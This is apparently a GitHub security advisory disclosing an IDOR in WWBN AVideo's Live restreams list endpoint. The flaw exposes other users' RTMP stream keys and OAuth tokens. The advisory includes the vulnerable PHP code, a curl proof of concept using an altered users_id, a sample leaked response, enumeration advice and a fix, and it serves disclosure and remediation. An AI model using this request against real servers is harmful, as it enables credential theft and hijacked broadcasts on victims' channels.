GHSA-gpgp-w4x2-h3h7 WWBN AVideo has an IDOR in Live Restreams list.json.php Exposes Other Users' Stream Keys and OAuth Tokens

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

Summary The endpoint `plugin/Live/view/Live_restreams/list.json.php` contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user with streaming permission to retrieve other users' live restream configurations, including third-party platform stream keys and OAuth tokens (access_token, refresh_token) for services like YouTube Live, Facebook Live, and Twitch. Details The authorization logic in `list.json.php` is intended to restrict non-admin users to viewing only their own restream records. However, the implementation at lines 10-14 only enforces this when the `users_id` GET parameter is absent: ```php // plugin/Live/view/Live_restreams/list.json.php:6-19 if (!User::canStream()) { die('{"data": []}'); } if (empty($_GET['users_id'])) { // Line 10: only triggers when param is MISSING if (!User::isAdmin()) { $_GET['users_id'] = User::getId(); // Line 12: force to own ID } } if (empty($_GET['users_id'])) { $rows = Live_restreams::getAll(); } else { $rows = Live_restreams::getAllFromUser($_GET['users_id'], ""); // Line 19: attacker-controlled ID } ``` When a non-admin user explicitly supplies `?users_id=`, the value is non-empty, so the override at line 12 is never reached. The attacker-controlled ID passes directly to `getAllFromUser()`, which executes: ```php // plugin/Live/Objects/Live_restreams.php:90 $sql = "SELECT * FROM live_restreams WHERE users_id = $users_id"; ``` This returns all columns from the `live_restreams` table, including: • `stream_key` (VARCHAR 500) — the victim's RTMP stream key for third-party platforms • `stream_url` (VARCHAR 500) — the RTMP ingest endpoint • `parameters` (TEXT) — JSON blob containing OAuth credentials (`access_token`, `refresh_token`, `expires_at`) obtained via the restream.ypt.me OAuth flow Other endpoints in the same directory correctly validate ownership. For example, `delete.json.php:19`: ```php if (!User::isAdmin() && $row->getUsers_id() != User::getId()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } ``` This ownership check is missing from `list.json.php`. PoC Prerequisites: Two user accounts — attacker (user ID 2, streaming permission) and victim (user ID 1, has configured restreams with third-party platform keys). Step 1: Attacker authenticates and retrieves their session cookie. Step 2: Attacker requests victim's restream list: ```bash curl -s -b 'PHPSESSID=' \ 'https://target.com/plugin/Live/view/Live_restreams/list.json.php?users_id=1' ``` Expected response (normal behavior): Empty data or error. Actual response: Full restream records for user ID 1: ```json { "data": [ { "id": 1, "name": "YouTube Live", "stream_url": "rtmp://a.rtmp.youtube.com/live2", "stream_key": "xxxx-xxxx-xxxx-xxxx-xxxx", "parameters": "{\"access_token\":\"ya29.a0A...\",\"refresh_token\":\"1//0e...\",\"expires_at\":1712600000}", "users_id": 1, "status": "a" } ] } ``` Step 3: Attacker can enumerate all user IDs (1, 2, 3, ...) to harvest all configured restream credentials across the platform. Impact • Credential theft: Attacker obtains third-party platform stream keys and OAuth tokens (access_token, refresh_token) for all users who have configured live restreaming. • Unauthorized broadcasting: Stolen RTMP stream keys allow the attacker to broadcast arbitrary content to the victim's YouTube, Facebook, or Twitch channels. • OAuth token abuse: Stolen refresh tokens can be used to obtain new access tokens, providing persistent access to the victim's third-party accounts within the scope of the original OAuth grant. • Full enumeration: User IDs are sequential integers, enabling trivial enumeration of all platform users' restream credentials. Recommended Fix Add an ownership check in `list.json.php` consistent with the pattern used in `delete.json.php` and `add.json.php`: ```php // plugin/Live/view/Live_restreams/list.json.php — replace lines 10-14 if (!User::isAdmin()) { $_GET['users_id'] = User::getId(); } ``` This unconditionally forces non-admin users to their own user ID, regardless of whether the `users_id` parameter was supplied. The `empty()` check should be removed so that the parameter cannot be used to bypass the restriction.